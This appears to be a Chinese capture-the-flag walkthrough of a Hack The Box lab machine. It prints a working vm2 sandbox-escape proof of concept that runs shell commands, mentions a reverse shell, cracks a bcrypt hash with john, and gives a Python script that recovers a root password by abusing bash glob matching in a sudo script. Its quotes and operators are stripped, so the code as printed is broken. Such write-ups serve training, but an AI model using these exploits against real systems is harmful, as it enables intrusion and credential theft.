免费做手机网站,营销型网站建设与网盟,哈尔滨网站优化页面,室内设计者联盟网首先nmap扫描端口
nmap -sV -sC -p- -v --min-rate 1000 10.10.11.239扫出来三个端口#xff0c;22端口为ssh服务#xff0c;80端口有http服务#xff0c;3000端口为nodejs框架 尝试访问下80端口#xff0c;发现页面重定向 将该域名添加到hosts里
sudo vim /etc/hosts 成…首先nmap扫描端口
nmap -sV -sC -p- -v --min-rate 1000 10.10.11.239扫出来三个端口22端口为ssh服务80端口有http服务3000端口为nodejs框架 尝试访问下80端口发现页面重定向 将该域名添加到hosts里
sudo vim /etc/hosts 成功访问 发现提供的代码编辑器是vm2沙箱搜了下相关文章发现存在漏洞 poc如下参考链接
const {VM} require(vm2);
const vm new VM();const code
err {};
const handler {getPrototypeOf(target) {(function stack() {new Error().stack;stack();})();}
};const proxiedErr new Proxy(err, handler);
try {throw proxiedErr;
} catch ({constructor: c}) {c.constructor(return process)().mainModule.require(child_process).execSync(touch pwned);
}console.log(vm.run(code));成功命令执行 修改一下直接反弹shell 我们查看下用户信息
cat /etc/passwd当前用户svc那么我们可以利用的应该就是joshua 我们在/var/www/contact目录下发现个文件tickets.db 我们用strings命令看一下 得到信息为sqlite数据库还有用户joshua的密码哈希值 用hashid看下是什么加密发现是bcrypt 那么使用工具john的参数–format去爆破
john --formatbcrypt -w/usr/share/wordlists/rockyou.txt hash.txt得到密码
然后切换下用户joshua 提升交互权限得到user的flag 查看下有什么可以利用的命令
sudo -lstrings命令查看下具体内容 我们看向关键代码
if [[ $DB_PASS $USER_PASS ]]; then/usr/bin/echo Password confirmed!else/usr/bin/echo Password confirmation failed!exit 1靶机会将我们提交的密码与数据库的密码进行比对比对成功与否对应不同回显关键点在于比对是弱等于也就是说这里的漏洞是由于 Bash 中 [[ ]]内部使用了 它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式如果它包含像 * 或 ? 这样的全局字符它可能会匹配意外的字符串。 直接盲注脚本如下
import string
import subprocess
all list(string.ascii_letters string.digits)
password
found False while not found: for character in all: command fecho {password}{character}* | sudo /opt/scripts/mysql-backup.sh output subprocess.run(command, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.PIPE, textTrue).stdout if Password confirmed! in output: password character print(password) break else: found True# password kljh12k3jhaskjh12kjh3用scp命令复制到靶机 成功上传 运行一下得到root密码
切换成root得到flag